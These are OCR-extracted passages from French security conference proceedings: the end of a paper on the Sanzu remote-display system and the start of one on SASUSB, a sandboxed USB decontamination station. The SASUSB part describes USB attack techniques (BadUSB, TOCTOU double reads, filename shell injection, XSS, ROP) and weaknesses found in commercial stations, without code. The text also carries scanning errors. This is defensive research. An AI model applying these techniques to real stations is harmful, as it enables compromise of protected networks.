Traduire une frame du format RGB a YUV est également consommateur
de ressources. Ici, nous avons fait le choix d’utiliser les capacités du CPU.
Les extensions SSSE3 permettent de réaliser cette opération en moins de
3ms pour une frame (aux alentours de 10ms en CPU pur, sans SSSE3).
On pourra dans le futur utiliser CUDA qui est totalement adapté a ce
genre de taches (et sera encore plus efficace).

La sérialisation/désérialisation se fait en utilisant Protobuf. Son temps
d’exécution est négligeable vis-a-vis des autres opérations. Ce choix est
motivé par la sécurité du code des parseurs générés par Protobuf.

Le choix du format de pixel peut avoir un impact sur la qualité visuelle.
Le YUV420 par exemple profite du fait que ’ceil humain est moins sensible
aux différences de couleurs qu’aux différences de luminance. Ainsi pour
un groupe de 4 pixels, chacun possede son information de luminance mais
les 4 partagent la méme information de couleur.

Cela n’est en général pas pergu lors du visionnage de films, mais peut
devenir pathologique dans certains cas, notamment sur ’affichage d’un
texte coloré sur un fond coloré [4], on peut le constater sur 'image 10.

Avec ces principes, nous obtenons une architecture client/serveur
relativement performante et peu consommatrice de bande passante (autour

de 300ko/s)
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Single Frame YUV420:

Y5 | Y6

Y11|Y12

Y15|Y16|Y17|Y18

Y21 |Y22]Y23|Y24
U5 | U6
V5 | V6

Position in byte stream:
M= s [ve Y778 vas[vas[v17[vae[vas[vao|vz1]vz2[v23[v2a[ u1 U5 [ U6 [v1 V5[ ve]

Fig. 9. Représentation des pixels encodés en YUV420 Wikipedia

dird dird filel.zip filed.jpg fileb
YUV420|ldir2 filel fileZ filed i bed

dirl dird filel.zip filed.jpg fileb
YUV444|dir? filel file? filed Filed

Fig. 10. Artefact graphique lié a 'utilisation du YUV420

3.3 Webrtc

Des tests ont également été réalisés pour intégrer la partie client
dans un navigateur web, de maniére semblable & Guacamole [2]. Les
premiers résultats sont encourageants. Cette modification se traduit par
I'implémentation d’un proxy intermédiaire qui est client de ’encodeur
vidéo. Il extrait les frames encodées en h264 des messages Protobuf et les
encapsule dans le protocole Webrtc. Il n’y a pas ici de réencodage a opérer
sur ces frames. La partie récupération de la souris/clavier du navigateur
n’a pas encore été traitée a I’heure actuelle.

Ce mode est un peu moins bien intégré c6té client, mais permettrait
de se passer d’un client lourd a déployer sur les postes utilisateurs.

4 Retour d’expérience

Au sein de notre équipe, Sanzu a tout d’abord été utilisé pour remplacer
notre navigation web et a ainsi offert un bien meilleur confort d’utilisation
tout en étant plus sécurisée.
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[client]

21.0ms evts: 16.0ps send: 63.7ps recv: 9.8ms dec msg: 417ns (dec 2.7ms yuv 1.6ms parse 11.9ps)
12.8ms evts: 8.5ps send: 66.8us recv: 4.4ms  dec msg: 1.1ps (dec 4.6ms yuv 1.7ms parse 34.3ps)
17.3ms evts: 10.0ps send: 65.7ps recv: 10.2ms dec msg: 395ns (dec 2.6ms yuv 1.8ms parse 18.5ps)
14.2ms evts: 28.2ps send: 87.0ps recv: 5.3ms  dec msg: 1.6ps (dec 4.3ms yuv 2.0ms parse 27.7ps)
16.5ms evts: 27.7ps send: 81.6ps recv: 9.8ms  dec msg: 386ns (dec 2.3ms yuv 1.7ms parse 12.9ps)
16.4ms evts: 20.1ps send: 65.1ps recv: 10.1ms dec msg: 445ns (dec 2.7ms yuv 1.7ms  parse 12.9ps)
16.4ms evts: 17.4ps send: 50.8ps recv: 10.3ms dec msg: 372ns (dec 2.5ms yuv 1.7ms  parse 17.9ps)
20.1ms evts: 9.4ps send: 62.0ps recv: 11.7ms dec msg: 387ns (dec 3.6ms yuv 2.6ms parse 13.0ps)
18.6ms evts: 19.0ps send: 55.4ps recv: 9.6ms  dec msg: 405ns (dec 2.6ms  yuv 3.2ms  parse 13.2ps)
13.3ms evts: 12.0ps send: 69.3ps recv: 3.1ms dec msg: 905ns (dec 5.7ms  yuv 2.4ms parse 44.1ps)

[server]

16.1ms grab: 3.2ms evt: 62.6ps encode: 12.8ms (yuv 4.0ms enc 8.8ms ) snd: 327ns send: 45.6ps recv: 10.1ps
11.9ms grab: 1.4ms evt: 62.2ps encode: 10.3ms (yuv 3.1ms enc 7.2ms ) snd: 504ns send: 89.7ps recv: 17.0ps
14.0ms grab: 1.6ms evt: 49.2ps encode: 12.3ms (yuv 2.9ms enc 9.5ms ) snd: 161ns send: 39.1ps recv: 9.5ps
14.1ms grab: 1.5ms evt: 47.0ps encode: 12.5ms (yuv 3.2ms enc 9.4ms ) snd: 173ns send: 40.2ps recv: 10.9ps
14.1ms grab: 1.5ms evt: 53.3ps encode: 12.4ms (yuv 3.1ms enc 9.4ms ) snd: 173ns send: 28.6ps recv: 9.6ps
15.3ms grab: 1.5ms evt: 47.2ps encode: 13.7ms (yuv 3.1ms enc 10.6ms) snd: 224ns send: 39.0ps recv: 10.1ps
16.6ms grab: 1.9ms evt: 1.6ms encode: 13.1ms (yuv 4.3ms enc 8.8ms ) snd: 170ns send: 39.3ps recv: 11.3ps
12.1ms grab: 1.4ms evt: 85.1ps encode: 10.6ms (yuv 4.0ms enc 6.6ms ) snd: 142ns send: 121.0ps recv: 29.9us
15.5ms grab: 2.4ms evt: 64.6ps encode: 13.0ms (yuv 4.3ms enc 8.7ms ) snd: 114ns send: 33.2ps recv: 11.7ps
11.7ms grab: 1.5ms evt: 60.5ps encode: 10.0ms (yuv 4.5ms enc 5.5ms ) snd: 139ns send: 56.3ps recv: 12.4ps

Fig. 11. Détail des temps mis par les diverses opérations d’encodage / décodage

Aussi, avec le développement du télétravail, nous avons eu besoin d’une
solution de déport de bureau performante passant par des VPNs et sessions
SSH. Dans ce cadre, Sanzu est utilisé sans VM et expose directement le
bureau. La aussi, le gain en performance et qualité d’affichage par rapport
aux solutions traditionnelles a été grandement appréciable.

5 Futur

5.1 Autre utilisation : administration graphique déportée

Comme nous 'avons vu, le systeme proposé permet de sortir le na-
vigateur du domaine réseau a protéger. Une deuxieme utilisation est
simplement applicable a 'administration graphique déportée. Le choix
peut étre fait de conserver le méme mécanisme de compression vidéo pour
éviter d’exposer le décodeur vidéo de I'administrateur, ou de le supprimer
et de se reposer sur la protection des processus du systéeme d’exploitation
du serveur administré.

On peut noter également que la partie client pourrait étre séparée en
deux dans le futur :

— la partie décodage vidéo/son pourrait étre mise dans une sandbox
seccomp : le décodage vidéo étant beaucoup moins gourmand que
I’encodage, il peut se faire totalement sur CPU, donc sans acces a
la carte graphique) ;

— la partie client et désérialisation Protobuf dans le processus courant.
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Fig. 12. Bureau distant intégré au navigateur

Cela permet d’alléger le systeme tout en limitant I'impact d’une com-
promission c6té serveur.

5.2 Téléphones

Les smartphones pourraient aujourd’hui rejoindre la partie : ils in-
tegrent des navigateurs et offrent de facto la méme surface d’attaque. Un
effet de bord intéressant est qu’on y trouve de plus en plus souvent les
mémes outils nécessaires a un PC classique : des extensions pour bloquer
les publicités, les sites malveillants et méme des antivirus.

De par leurs capacités de capture et de lecture vidéo, ils integrent
presque tous un encodeur/décodeur vidéo matériel efficace. Il serait alors
intéressant de porter la partie cliente sur Android par exemple et d’associer
I’ouverture des pages web a ce dernier. Tous les moyens de protection mo-
dernes seraient exécutés sur le serveur avec des ressources quasi-illimitées
comparé au téléphone. La navigation web du téléphone deviendrait une
simple lecture de vidéo youtube. Evidement, les ressources du téléphone
lisant une vidéo seraient stirement un peu plus sollicitées comparativement
a un navigateur embarqué avec ses extensions et son antivirus.

Bien siir il reste les applications. Si le téléphone utilise un VPN et/ou
un proxy, il est raisonnable de penser que les acces a leur site pourraient
se whitelister (comparativement a la navigation web) et ainsi limiter la
surface d’attaque du téléphone.
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Notons que la solution utilisant le WebRTC a également été testée
avec succes sur téléphone portable. Avec cette derniere, nul besoin d’un
client lourd installé sur téléphone : le navigateur natif du téléphone diffuse
ici directement la vidéo de la solution de déport graphique.
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Résumé. Le SASUSB est un outil permettant la lecture de supports de
stockage USB suivant les principes de défense en profondeur et de moindre
privilege, le but étant de réduire la surface d’attaque et les conséquences
d’une exploitation de faille. Les données peuvent étre transférées sur un
autre support de confiance ou importées dans le systéme d’information
apres analyse antivirale. Il est écrit en Rust et s’inspire du fonctionnement
des micro noyaux.

1 Introduction

Les menaces liées a la connexion de périphériques USB potentiellement
malveillants sur un systéme d’information sont multiples. La surface
d’attaque relative a ce protocole est d’autant plus grande qu’il supporte
une quantité faramineuse de périphériques différents (clef USB, disque
dur, caméra, carte réseau, etc.). On pense notamment a 'introduction de
virus / ransomware, exploitation de la pile USB, des parseurs de systémes
de fichiers, ainsi qu’aux périphériques de type BadUSB. Les ports USB
sont présents sur quasiment tous les composants communément utilisés
en entreprise : ordinateurs (fixes ou portables), serveurs, téléphones. .
Lorsqu’un utilisateur branche une clef USB non maitrisée sur son poste de
travail, n’importe quel driver USB peut étre chargé par le noyau et servir
de porte d’entrée. Nous en avons encore eu la démonstration récemment
ici [12] ou 1a [8].

Nous allons dans un premier temps tenter de dessiner la carte de la
surface d’attaque liée au protocole USB ainsi qu’aux différentes couches
logicielles relatives au transfert de données via ce protocole. Dans un
second temps nous illustrerons certains écueils dans lesquels tombent
les stations blanches / SAS d’import de données actuellement proposés
dans le commerce ou open source. Enfin nous décrirons ’architecture
de Toutil présenté ici : le SASUSB, qui tente de répondre aux menaces
précédemment évoquées.
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1.1 Définitions

Nous reprenons ici les définitions du guide de ’ANSSI : Profil de
fonctionnalités et de sécurité — Sas et station blanche (réseaux non clas-
sifiés) [11]. Nous noterons cependant que les travaux présentés ici ont
commencé avant la publication de ce guide et que, méme si nombre de
nos choix concordent a posteriori, notre solution n’est pas calquée sur ce
guide.

Station blanche : Poste de travail ou serveur isolé du réseau opéra-
tionnel, dédié a ’analyse antivirale des médias amovibles et des données
qui y sont stockées. Ce dispositif donne des garanties raisonnables quant
a I'innocuité du média amovible et des données transférées vers le réseau
opérationnel.

Sas d’import de données : Association d’une station blanche et d’un
point d’insertion de données. La station blanche et le point d’insertion
de données sont physiquement cloisonnés. Ce dispositif, interconnecté au
réseau opérationnel, garantit I'innocuité du média amovible et des données
transférées a destination de ce réseau.

1.2 Surface d’attaque

Le protocole USB permet de connecter un certain nombre de péri-
phériques appelés devices a une machine maitre, appelée host. Si on le
compare au réseau, il assure la couche physique et un mélange de couches
Ethernet / IP / TCP. Lorsqu’un périphérique est branché et détecté par
I’héte, ce dernier lui attribue une adresse. Chaque périphérique se voit
attribuer une adresse différente. La machine hote possede au moins un
controleur USB, relié & un hub USB permettant I'attachement de plusieurs
périphériques. Il est possible de brancher un second hub sur le premier,
augmentant ainsi le nombre de ports USB d’une machine, on parle de
topologie USB en étoile.

Physique C’est le controleur USB de I’héte qui recoit et traite les paquets
recus des périphériques. Ces paquets sont découpés en plusieurs champs,
contenant ’adresse source du périphérique, le type de paquet, des numéros
de séquence, la longueur des données embarquées, des CRC. .. Cette liste
n’est pas exhaustive et bien qu’elle attire I'ceil pour un attaquant, nous
n’avons pas connaissance de vulnérabilités exploitées a ce niveau.
Néanmoins, Intel a pris la décision il y a quelques années d’utiliser
un des ports physiques USB comme interface JTAG sur le CPU. Cette
interface permet de debugger au niveau hardware le CPU de la machine
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en question. Certaines protections sont tout de méme mises en place
et sont exposées dans la conférence Tapping into the core [7,13]. Un
debugger hardware est un cas de figure assez délicat car il n’offre pas de
contre-mesures permettant de limiter son impact.

Communication des hub USB Les contréleurs USB sont en général
directement liés & un hub USB permettant a la machine hote de gérer plu-
sieurs ports USB physiques. Un hub dispose d’un port upstream connecté
directement au controleur USB hote ainsi que plusieurs ports downs-
tream pour connecter des périphériques. Les données regues sur le port
upstream sont broadcastées a tous les périphériques connectés aux ports
downstream. Les données recus sur un port downstream ne sont transmises
qu’au port upstream. Ce mode de fonctionnement pose probleme car un
périphérique peut recevoir des données qui ne lui sont pas directement
adressées et un périphérique malveillant pourrait effectuer une attaque de
type eavesdropping [15].

Notons que la norme USB 3.0 ajoute un mode point a point aux
transmissions downstream pour pallier ce probleme.

Protocoles USB Le protocole USB permet de lire la configuration des
périphériques. Celle-ci décrit entre autres le type de périphérique qui est
branché, appelé classe qui peut étre mass storage, HID (Human Interface
Device), printer. .. En analysant cette réponse, le systéeme d’exploitation
reconnait la nature du périphérique et, s’il en est doté, va charger le driver
associé. Il y a ici deux grands cas de figure, il s’agit soit :

— d’un driver générique, qui fonctionne pour toute une classe donnée ;

— d’un driver spécifique pour un périphérique bien défini (souvent

lié au vendorID /productID du périphérique USB).

Il est important de noter qu'une clef USB n’est pas une clef USB de
par sa forme, mais par la définition qu’elle envoie a ’h6te. Un périphérique
tel qu’une clef USB ou une souris embarque un composant électronique
qui s’occupe de communiquer en USB avec I’héte, et de traduire les
requétes de ’hote en requétes pour la flash embarquée ou son systeme
de positionnement de souris. Il a d’ailleurs déja été montré que certains
fabricants utilisent des micro-controleurs reprogrammables pour assurer
cette fonctionnalité. La démonstration en a été faite en 2014 [16]. La clef
USB connectée se décrit comme un clavier, une fois reconnue et ajoutée
par I’OS, elle simule 'appui de touches pour écrire un script Powershell et
déclenche ainsi une exécution de code depuis le compte de I'utilisateur.
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Des manipulations du méme genre peuvent étre réalisées sur des cartes
de développement USB, cotitant autour de 10$ (AT90USBKEY, Raspberry
Pi...). Ces prix dérisoires rendent 'attaque & portée de toutes les mains.

On notera qu'un méme périphérique USB peut proposer plusieurs
interfaces en méme temps. Il peut par exemple présenter une carte réseau,
un périphérique mass storage ainsi qu'un clavier/souris. Il peut alors copier
des fichiers de la machine et les coller dans le disque fralchement monté
par le systeme (ou les partager sur le réseau).

Ce genre d’attaque s’effectuait jusqu’ici "a 'aveugle', le périphérique
malveillant n’avait pas de retour sur ses actions. Cependant, il est mainte-
nant possible avec les nouveaux connecteurs USB type C de connecter un
moniteur, 'attaque peut se baser sur les retours de I'interface graphique
pour plus de fiabilité [18].

Mass Storage Lorsqu’un périphérique de type mass storage (une clef
USB, un disque dur) est connecté sur la machine hote, le driver responsable
de ces matériels est chargé. Pour communiquer, deux endpoints sont
utilisés : un pour transférer les données montantes, 'autre pour les données
descendantes. Un endpoint est une unité virtuelle a laquelle est associée
une direction (up/down) qui se rapproche un peu d’un port TCP. Un
périphérique mass storage est accédé en utilisant le protocole SCSI (Small
Computer System Interface) au dessus des données transportées par USB.
Un périphérique mass storage implémente des fonctions de base SCSI :

— lire N secteur(s) a tel offset ;

— écrire N secteurs(s) a tel offset ;

— énumération des LUNs (Logical Unit Number) ;

Les codes responsables de la gestion du protocole SCSI font partie
intégrante de la surface d’attaque, d’autant que ce sont en général des
drivers et qu’ils disposent donc d’une exécution privilégiée.

Systémes de fichiers Le protocole SCSI permet d’exposer un block
device au systéeme d’exploitation. Lorsqu'un périphérique de stockage est
branché, I’0OS lit dans un premier temps la table des partitions (qui fait
donc elle aussi partie de la surface d’attaque), puis monte le systéme de
fichiers.

Il existe de nombreux systémes de fichiers (FAT, NTFS, EXT}...),
leurs relatives complexités peut mener a des failles de sécurité (par exemple
pour NTFS : CVE-2020-17096 [3] RCE, CVE-2021-28312 [5] DoS, CVE-
2021-31956 [6] PrivEsc). La menace est d’autant plus grande si le systéme
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d’exploitation supporte un nombre important de systéemes de fichiers
différents, un systéme de fichiers ezotique et/ou non maintenu peut étre
une porte d’entrée intéressante pour un attaquant. Les codes responsables
de la gestion des systemes de fichiers sont en général des drivers et
s’exécutent donc en mode privilégié.

Fichiers spéciaux Certains fichiers peuvent subir un traitement particu-
lier par le systeme d’exploitation, cela va du fichier .ink sous Windows,
aux fichiers cachés permettant de sauver la configuration d’un répertoire,
en passant par les apercus d’images ou les icones ainsi que le fichier au-
torun.inf & la racine d’un périphérique de stockage qui peut déclencher
I’exécution automatique d’un programme a la connexion de ce périphé-
rique.

Ces fichiers sont sensibles car le simple fait d’accéder & un réper-
toire avec l'explorateur de fichiers peut déclencher leur traitement et
une éventuelle vulnérabilité (on pense notamment & [1]). Leur filtrage
est relativement difficile car intimement lié au mécanisme du systeme
d’exploitation ou de I'explorateur de fichiers.

Mélange des entrées Il y a quelques années, les postes étaient équipés
de ports PS2 pour connecter les claviers/souris. Ils ont aujourd’hui laissé
place aux ports USB, ce qui signifie que du point de vue du systeme
d’exploitation, le méme protocole est utilisé pour les entrées de 'utilisateur
et le traitement d’une clef USB potentiellement malveillante.

La classe USB utilisée pour ces périphériques est la classe HID (Human
Interface Device), elle sert aussi pour les joysticks, les pointeurs de tablettes,
les écrans tactiles. .. Pour gérer ce grand nombre de périphériques, elle se
base sur I'utilisation de structures permettant a un périphérique de lister
tous ses moyens de mesure (boutons, molette, axes, ...), leur précision (8
bits signés, 3 bits non signés. ..) ainsi que leurs limites mécaniques. En
bref, un nid de problémes potentiels [4]. Le code responsable du HID est en
général exécuté en mode privilégié. Une clef USB malveillante présentant
une classe HID peut mener a une attaque de type BadUSB précédemment
citée.

Stations blanches Il existe plusieurs manieres d’implémenter une station
blanche, certaines se contentent d’analyser les fichiers stockés sur les
périphériques USB, le scénario est le suivant :

1. L’utilisateur insére une clef USB sur la station.
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2. La station nettoie la clef USB.
3. L’utilisateur récupere la clef USB.

4. L’utilisateur branche la clef sur son poste et récupére ses données.

Ce mode de fonctionnement pose probléme car, comme nous ’avons
vu, le périphérique USB décide ce qu’il expose en terme de classe de
périphérique, mais également en terme de données. Une race condition
existe entre I'étape 2 et ’étape 4, un périphérique malveillant pourrait
exposer un systéme de fichiers ne contenant que des fichiers sains lors de
I’analyse antivirale et présenter un autre systéme de fichiers contenant
des fichiers infectés sur un poste de travail. Une pile USB, a la maniere
d’une pile IP, peut fonctionner différemment d’une machine ou d’un OS
a autre, il est ainsi possible pour un périphérique de détecter qu’il est
connecté a une station blanche, une machine Linux ou Windows etc. et
ainsi adapter son comportement.

Ce type d’attaque TOCTOU (time-of-check-time-of-use) / double read
peut aussi se retrouver lors de la vérification de signatures numériques.
Imaginons que 'import de données (ou la mise a jour de la station blanche
par clef USB) soit soumis a la vérification d’une signature numérique et
que cette vérification est effectuée par la station, directement depuis la clef
USB. Un périphérique malveillant pourrait présenter lors de la premiere
lecture un fichier validant la signature mais un fichier totalement différent
lors de la deuxiéme lecture pour I'import de données (ou I’application de
la mise & jour, voir aussi [2]).

Enfin, pour des raisons de commodité, la station blanche peut utiliser
un navigateur en guise d’interface graphique. Un soin particulier doit
donc étre apporté au traitement des données affichées (noms des fichiers,
métadonnées,. . .), ces derniéres sont contrdlées par I'attaquant et doivent
étre maitrisées afin d’éviter une injection de code javascript.

1.3 Etat de l’art

Nous verrons dans cette partie deux solutions open source apportant
une réponse aux menaces évoquées précédemment : CIRCLean et Le Gui-
chet. 1l existe dans le commerce plusieurs autres solutions, il est cependant
difficile de connaitre leur fonctionnement interne et leurs spécificités sans
documentation approfondie. Nous avons pu étudier deux de ces solutions
commerciales dont nous détaillerons les points négatifs sans trop en dire
ni les nommer, on les appellera Station A et Station B.
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Circlean CIRCLean [9] est une station blanche (selon la définition en 1.1)
open source fonctionnant sur Raspberry Pi, développée par The Computer
Incident Response Center Luzembourg (CIRCL) permettant le transfert
de fichiers entre deux périphériques de stockage USB. Les fichiers sont
analysés par 'antivirus ClamAV et filtrés par leurs type MIME. Certains
types de fichiers (PDF, Microsoft Word. . .) sont convertis en HTML.
Avantages :
— Utilisation de deux clefs USB différentes (une en entrée potentielle-
ment infectée, une en sortie de confiance)
— Analyse antivirale
— Vérification / conversion des fichiers jugés dangereux
Inconvénients :
— Tous les fichiers sont copiés (pas de sélection)
— Utilisation des modules noyaux (privilégiés) pour 'USB, SCSI et
systemes de fichiers

Le Guichet Le Guichet [14] est une station de décontamination (ou SAS
d’import de données selon 1.1) open source permettant de transférer des
fichiers de maniere sécurisée. Il offre deux modes de fonctionnement :

— Gateway : transfert depuis un réseau non sir vers un réseau sécurisé

— USB mode : transfert d’un périphérique USB non siir vers un

périphérique USB de confiance

Il est écrit en Rust et un soin particulier a été porté au durcissement
de la machine : utilisation de Seccomp, sandboxing systemd, AppArmor,
testé avec les patchs noyaux grsecurity. . .

Avantages :

— Analyse antivirus (ClamAV)

— Filtrage des fichiers par régles YARA personnalisables

— Filtrage des fichiers selon leurs magic number

— Filtrage des périphériques USB par leurs numéros de série

— Signature des périphériques de sortie

Inconvénients :

— Utilisation des modules noyaux (privilégiés) pour 'USB, SCSI et

systemes de fichiers

Notons que nous n’avons eu connaissance de ce projet que récemment
(notre solution était déja bien avancée) et qu’il est encore en développe-
ment.

Station A Cette premiere solution commerciale est une borne de déconta-
mination (station blanche selon 1.1) sur laquelle les utilisateurs branchent
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leurs clefs USB pour analyse antivirale avant de la brancher sur leurs
postes. L’analyse de la station a révélé les points suivants :

— La station se contente d’analyser les fichiers sur la clef USB, nous
avons vu précédemment en quoi ce mode de fonctionnement (a une
clef) est problématique (présentation d’un systéme de fichiers sain
si détection de la station) voir 1.2

— La station est basée sur la distribution Linux Ubuntu, la chaine de
démarrage n’est pas vérifiée ni authentifiée (pas de secure boot),
le disque dur n’est pas chiffré, le branchement des périphériques
HID (dont les claviers) n’est pas filtré et le menu du chargeur
d’amorgage (GRUB) n’est pas verrouillé (il n’apparait pas par
défaut mais il est possible de le déclencher en appuyant sur les
touches Ctri+Alt+Del pendant le démarrage). La combinaison de
ces éléments fait qu’il est trivial de prendre le contréle de la station
en mode administrateur (par exemple en modifiant la emdline du
noyau) avec un simple clavier ou un périphérique de type BadUSB.

— Aucun driver USB n’est filtré, laissant une large surface d’attaque.
Par exemple : la station monte une nouvelle interface réseau au
branchement d’une carte réseau USB. Ceci est d’autant plus pro-
blématique que la station a la possibilité de fonctionner en mode
connecté au réseau de l'entreprise (pour le monitoring et 'adminis-
tration).

— Il n’y a pas d’analyse antivirus sur les fichiers trop volumineux.

— Les clefs USB sont montées automatiquement par le noyau et les
modules (privilégiés) pour 'USB, SCSI et les systémes de fichiers
sont utilisés.

— La station peut étre mise a jour par clef USB. Le fichier de mise
a jour doit étre signé avec PGP. Cependant, la vérification de la
signature s’effectue directement sur la clef, ce qui rend la procédure
vulnérable a l'attaque de type TOCTU évoquée précédemment.

Cette station de décontamination peut donc facilement devenir une

station contaminante ainsi qu’'un point d’entrée dans le réseau de I'entre-
prise.

Station B Cette seconde solution commerciale est similaire a la premiere,
elle nécessite cependant deux périphériques USB (un en entrée, un en
sortie). Lors du transfert, les fichiers sont analysés par plusieurs antivirus.
Une diode logicielle est implémentée entre un guichet bas (pour la lecture
du périphérique d’entrée) et un guichet haut pour analyse et ’écriture sur
le périphérique de destination. La communication se fait via un protocole
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maison sur UDP et les deux guichets sont exécutés dans des machines
virtuelles différentes. Un serveur et un client web font office d’interface
graphique. L’analyse de la station a révélé les points suivants :

— L’interface graphique est réalisée en web qui est sujet a des XSS.
Ces XSS permettent de manipuler des vues offertes par le serveur.
L’attaquant peut ainsi lister, télécharger ou envoyer n’importe quel
fichier arbitraire. Ceci meéne a ’exécution d’un shell root.

— Le serveur web exécute des binaires natifs lors du listing des fichiers
de la clef d’entrée (pour récupérer la taille...). Avec un nom de
fichier particulier, 'attaquant peut profiter d’une injection de code
shell et avoir directement la main dans le guichet bas.

— Les informations ! remontées du guichet bas vers le guichet haut
sont sérialisées. Le programme du guichet haut recevant ces données
est sujet a un buffer overflow dans la partie décodant la taille de
nom de fichier. Malheureusement, ce binaire n’est pas compilé avec
les options classiques de protections de débordement de tampon, la
prise de controle du guichet haut est alors possible en utilisant une
attaque de type ROP (la position du binaire n’est pas randomisée).

Bien que 'exploitation de cette seconde station ne soit pas aussi triviale

que la précédente, la compromission reste totale. La station décontami-
nante peut, au simple branchement d’une clef USB préparée spécialement,
devenir une station contaminante.

2 Solution proposée

Ce chapitre est consacré a la description de ’architecture et aux choix
qui ont été faits.

Pour répondre aux problématiques précédemment évoquées et en pre-
nant en compte les écueils des solutions étudiées, nous avons développé le
SASUSB : un logiciel fonctionnant sous Linux permettant de transférer
de maniere sécurisée les fichiers d’un périphérique de stockage potentielle-
ment malveillant vers un périphérique de confiance ou vers une machine
distante, aprés analyse antivirale. Cette solution permet (entre autres) le
développement d’un SAS d’import de données 1.1.

Le SASUSB s’inspire de ’architecture des micro noyaux. Plusieurs
processus s’exécutent en espace utilisateur et chacun s’occupe d’une tache
simple : chaque couche (USB, SCSI et systeme de fichiers) est traitée par
un de ces processus. Ces processus communiquent par un IPC utilisant

! noms de fichiers, métadonnées ainsi que leurs contenu
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un mécanisme qui sera décrit dans la suite. Ceci donne ’architecture en
figure 1 :

usb

Fig. 1. Schéma simplifié des processus composant le SASUSB

2.1 Systeme

Drivers Afin de réduire la surface d’attaque, tous les drivers USB du
noyau Linux sont désactivés/supprimés, y compris le module USB HID
responsable des claviers/souris. Nous ne gardons que le composant “core
USB?”, responsable de la gestion du controleur USB physique. Ceci permet
de limiter la surface d’attaque liée au support de multiples drivers décrite
en 1.2. Le SASUSB n’est pas lié a& un matériel particulier, ce qui signifie
qu’il peut s’exécuter en utilisant différents controleurs USB. Cette partie
noyau est donc conservée et permet d’envoyer et de recevoir des paquets
USB aux périphériques, ainsi que de leur assigner des adresses. Notons
une autre conséquence : le noyau enverra un premier paquet de demande
de description de device permettant de récupérer le strict minimum d’in-
formations (vendorID/productID/USBClass). La demande émise par le
noyau est dans le cas général en deux parties :

— une premiere requéte est opérée, forcant une taille minimale pour la
réponse permettant seulement de connaitre le strict minimum sur
le device ainsi que de récupérer la taille de la structure compléte

— une deuxiéme requéte, identique, a ’exception de la taille qui est
fixée a celle précédemment demandée par le client
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Dans notre cas, seule la premiére requéte est envoyée par le noyau. La
suite sera gérée en espace utilisateur par le code du SASUSB.

Userland Pour limiter le risque lié a une vulnérabilité, les composants
qui traiteront les données seront exécutés en userland (espace utilisateur),
a la facon des micro noyaux, par un utilisateur non privilégié. Pour ce
faire, une regle udev permet de donner les droits nécessaires a un user
particulier permettant d’accéder en brut a tout périphérique USB branché.
On communiquera alors en utilisant la libUSB avec ces derniers.

HID Comme nous le disions précédemment, le systéme est dépourvu de
driver HID. Pour palier ce probléme, nous avons développé un gestionnaire
minimaliste de périphérique HID en wuserland. Ce dernier n’implémente
que le minimum de la norme pour supporter les souris et les écrans tactiles
prévus. La machine ne supporte donc pas les claviers. Ce dernier poll les
périphériques comme le ferait le driver original, récupére les informations
de positionnement et les applique au serveur X en simulant les mouvements
associés. Il est écrit en Rust.

La configuration du SASUSB permet également de définir un numéro
de bus USB ainsi qu’un numéro de port physique sur lequel seront autorisés
les périphériques de type HID. Ainsi, seul ce port USB physique sera pris
en compte par le gestionnaire HID décrit ci-dessus. L’administrateur
pourra par exemple dédier un port physique de 'arriere de la machine a
la souris, et utiliser les ports physiques de fagade pour I'insertion de clef
USB. Dans ce cas, méme si la clef USB se fait passer pour une souris ou
autre périphérique HID ou si elle expose plusieurs interfaces USB, elle ne
sera pas prise en compte par la machine. Ceci permet de répondre aux
problématiques de faux périphériques USB tentant d’interférer par le biais
de ce protocole 1.2.

Notons que méme si un périphérique USB tente d’écouter le flux
descendant (problématique d’eavesdropping 1.2) des autres périphériques,
il n’apprendra rien d’intéressant car le seul flux descendant correspond a
Iécriture des fichiers qui proviennent de lui-méme (périphérique d’entrée).

Nous le verrons plus tard, U'interface finale est accessible via une
API web. 11 est tout a fait envisageable d’utiliser le SASUSB dans une
configuration dépourvue de HID. Le SASUSB est alors simplement une
machine recevant les clefs USB et I'interaction avec 1'utilisateur se fait
alors a travers cette API web, par le réseau depuis le poste client. Ici le
SASUSB n’a ni écran, ni clavier ni souris.
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2.2 Séparation des privileéges, moindre privilege

Afin de réduire au maximum les privileges, nous 'avons dit, le code
relatif a la communication avec les périphériques USB et le traitement des
données qu’ils contiennent s’exécute en espace utilisateur.

Afin de cloisonner ces taches, elles sont séparées en plusieurs processus
(chacun correspondant peu ou prou a une couche de la pile USB).

USB / SCSI Un premier processus a acces au périphérique USB brut
en utilisant la [ibUSB & travers un fichier spécial (par exemple /dev/-
bus/USB/001/002, qui correspond au périphérique USB branché sur le
bus numéro 1, et qui répond a l'adresse de device USB 2). Ce processus
parle le protocole SCSI qu’il encapsule dans les paquets USB. Il expose
une interface permettant d’effectuer les opérations suivantes :

— demander la taille totale du volume;

— demander la taille des secteurs;

— lire N secteurs a l'offset O.

Il est écrit en Rust.

SCSI / Systémes de fichiers Un autre processus s’occupe de U'interpré-
tation du systéme de fichiers. Il communique avec le processus précédent,
ce qui lui permet de lire n’importe quel secteur du périphérique de stockage
d’entrée. Il est capable de lire plusieurs systemes de fichiers :

— FAT

— exFAT

— NTFS

— ezt

— IS509660

Il expose une nouvelle interface, permettant les opérations suivantes :

— lister un répertoire ;

— récupérer les attributs d’un fichier / répertoire ;

— récupérer le contenu d’un fichier.

Ce programme est écrit en Rust, ainsi que les parseurs de systemes de
fichiers a l'exception de FAT /exzFAT ou nous utilisons la bibliotheque ff
écrite en C. Si une vulnérabilité est exploitée, 'attaquant sera a la place
de ce processus. Il pourra commencer un pivot a partir de la. Ce probléme
doit étre pris en compte dans notre architecture.

Communication Chaque processus expose une interface de communi-
cation. Celle-ci se traduit concrétement par deux descripteurs de fichiers



F. Desclaux, L. Syoén 351

communs entre deux processus. Le premier permet de recevoir des données
du processus A vers le processus B, le deuxieme de réaliser ’opération
inverse. Les communications se font sous forme de requétes/réponses.
Pour sérialiser les données échangées, Protobuf est utilisé. Ce dernier a
I'élégance de générer le code responsable de la sérialisation/désérialisation
des données a partir d’un fichier de spécification.

Les fonctions de communication sont écrites en Rust.

Cloisonnement L’une des raisons pour lesquelles nous avons séparé
les différentes couches de la pile USB en processus distincts était de
pouvoir leur appliquer un filtre Secure Computing Mode (seccomp) respectif.
seccomp est un mécanisme du noyau Linux permettant a un processus
de se verrouiller de maniere non réversible dans un état dans lequel il ne
pourra effectuer qu’un certain nombre d’appels systémes prédéfinis. Il sera
tué par le noyau s’il tente d’effectuer un appel systéme non autorisé.
Quelques exemples de regles appliquées :
— processus USB/scsi
— opérations sur le filedescriptor associé au périphérique USB ;
